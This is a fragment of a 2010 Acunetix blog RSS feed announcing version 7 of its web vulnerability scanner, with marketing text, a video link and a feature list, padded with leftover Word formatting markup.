UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--></p>
<p><strong>Acunetix WVS Trial Edition</strong><br />
Download Acunetix Web Vulnerability Scanner v7 trial edition from <a href="http://www.acunetix.com/vulnerability-scanner/download.htm">here</a></p>
<p><!--[endif]--></p>
<p><strong>About Acunetix</strong><br />
Acunetix is a market leader in web application security technology. Founded in 2004, Acunetix customers include the US Army, US Airforce, AT&amp;T, KPMG, Telstra, Fujitsu, Adidas and <a href="http://www.acunetix.com/vulnerability-scanner/customers.htm" target="_self">many more</a>.   For more information please visit: <a href="http://www.acunetix.com" target="_self">http://www.acunetix.com</a>.</p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 16px; width: 1px; height: 1px; overflow: hidden;"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>EN-GB</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val="&#45;-" /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1107304683 0 0 415 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-520092929 1073786111 9 0 415 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0cm; 	margin-right:0cm; 	margin-bottom:10.0pt; 	margin-left:0cm; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-fareast-font-family:Calibri; 	mso-bidi-font-family:"Times New Roman"; 	mso-fareast-language:EN-US;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:10.0pt; 	mso-ansi-font-size:10.0pt; 	mso-bidi-font-size:10.0pt; 	mso-ascii-font-family:Calibri; 	mso-fareast-font-family:Calibri; 	mso-hansi-font-family:Calibri;} @page WordSection1 	{size:612.0pt 792.0pt; 	margin:72.0pt 72.0pt 72.0pt 72.0pt; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.WordSection1 	{page:WordSection1;} --><!--[if gte mso 10]> <mce:style><!   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} --> <!--[endif]--><span style="font-size: 11pt; line-height: 115%; font-family: &amp;amp;amp;">“With Acunetix WVS v7 we focused on finding more vulnerabilities, reducing false positives, and on improving scanner performance,” said Robert Abela, Acunetix Technical Manager. “As a result, Acunetix 7 is now 300% faster, can reduce false positives up to 50% and detects new vulnerabilities such as stored directory traversal.<span> </span>This helps businesses reduce the time and resources needed to secure their web applications significantly.”</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>VIDEO: What&#8217;s new in Acunetix WVS v7?</title>
		<link>http://www.acunetix.com/blog/docs/video-acunetix-wvs-v7/</link>
		<comments>http://www.acunetix.com/blog/docs/video-acunetix-wvs-v7/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 14:40:52 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[docs & FAQs]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[new features]]></category>
		<category><![CDATA[release]]></category>
		<category><![CDATA[version 7]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2001</guid>
		<description><![CDATA[Check out this 4 minutes YouTube video to find out what&#8217;s new in the new and revolutionary Acunetix Web Vulnerability Scanner Version 7.

Click here to watch the high quality version of this video
]]></description>
			<content:encoded><![CDATA[<p>Check out this 4 minutes YouTube video to find out what&#8217;s new in the new and revolutionary Acunetix Web Vulnerability Scanner Version 7.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/rpICa322TgQ?fs=1&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://www.youtube.com/v/rpICa322TgQ?fs=1&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Click <a href="http://www.youtube.com/watch?v=rpICa322TgQ&amp;hl&amp;fmt=22" target="_blank">here</a> to watch the high quality version of this video</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/docs/video-acunetix-wvs-v7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acunetix WVS Version 7 BETA is available!</title>
		<link>http://www.acunetix.com/blog/releases/acunetix-wvs-7-beta/</link>
		<comments>http://www.acunetix.com/blog/releases/acunetix-wvs-7-beta/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 14:10:02 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[releases]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[BETA]]></category>
		<category><![CDATA[major improvements]]></category>
		<category><![CDATA[new features]]></category>
		<category><![CDATA[version 7]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1962</guid>
		<description><![CDATA[A new version of Acunetix Web Vulnerability Scanner is available in beta, and what a version!
It has been one long year of development, testing and late nights at the office, though it was all worth ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x742.png"><img class="size-full wp-image-1329 alignleft" title="acunetix logo" src="http://www.acunetix.com/blog/wp-content/uploads/2010/02/acunetix_logo_blog_post_100x742.png" alt="" width="100" height="74" /></a>A new version of Acunetix Web Vulnerability Scanner is available in beta, and what a version!</p>
<p>It has been one long year of development, testing and late nights at the office, though it was all worth it, and the results speak for themselves!  Most of the core components have been rewritten, such as the crawler, scanner, vulnerability checks and the HTTP stack.  Acunetix WVS Version 7 is around 75% faster and more intelligent scanner than its predecessors.  Most of the web vulnerability checks have been migrated from VulnXML format to Scripts.  This allows us to have more advanced and flexible security checks, while reducing false positives.  It is also easier for you to develop your own web vulnerability checks.  Version 7 also includes much more meticulous web security tests, some of which were not possible before.</p>
<p>If you are interested in testing the new BETA of Version 7, and you already own an Acunetix WVS Enterprise or Consultant license with a valid maintenance agreement, contact us at beta@acunetix.com.</p>
<p>The FREE version of Acunetix WVS Version 7 BETA can be downloaded from <a href="http://www.acunetix.com/vulnerability-scanner/vulnerabilityscanner7.exe" target="_self">here</a></p>
<p><strong>The new features of Version 7 are:</strong></p>
<ul>
<li>A new revolutionary and intelligent scanning engine
<ul>
<li>Detection of a wide range of new web vulnerability types</li>
<li>No more &#8216;brute force style&#8217; vulnerability checks</li>
<li>Consumes less bandwidth</li>
</ul>
</li>
<li>Less False Positives and False Negatives reported
<ul>
<li>Website parameters are thoroughly analyzed to understand their purpose</li>
<li>A Number of thorough checks are launched before vulnerabilities are reported</li>
<li>Human like vulnerability verifying techniques</li>
</ul>
</li>
<li>Scriptable Vulnerabilities
<ul>
<li>More flexible and advanced web security checks</li>
<li>Easier to script own vulnerabilities</li>
<li>Faster processing</li>
</ul>
</li>
<li>Consolidation of reported vulnerabilities
<ul>
<li>Different variants of the same vulnerability are consolidated under one detailed report</li>
<li>Presenting the problem to developers in a more precise and understandable way</li>
<li>Facilitates prioritization and coordination of vulnerability remediation</li>
</ul>
</li>
<li>Advanced analysis of website presentation layer
<ul>
<li>Less chances of breaking down a website because of a security scan</li>
<li>Ability to automatically submit the correct data in web forms</li>
</ul>
</li>
<li>A whole variety of new vulnerability checks
<ul>
<li>Stored SQL injection</li>
<li>Stored File Inclusion</li>
<li>Stored Directory Traversal</li>
<li>Stored Code Execution</li>
<li>Stored File Tampering</li>
<li>More advanced WebDav auditing checks</li>
<li>Automated form based authentication auditing (e.g. tests to check if credentials can be brute forced, for common username and passwords etc)</li>
<li>Test for SQL Injection In URI</li>
</ul>
</li>
<li>New Scan Status Interface
<ul>
<li>Graphical presentation of scan status</li>
<li>Granular explanation of current running tasks</li>
<li>Ability to capture more information at a glance</li>
</ul>
</li>
<li>Re-Scan capabilities
<ul>
<li>Right click a reported vulnerability and relaunch the test</li>
<li>No need to rerun a whole crawl and scan to verify fixes</li>
<li>Saves time in verifying corrections</li>
</ul>
</li>
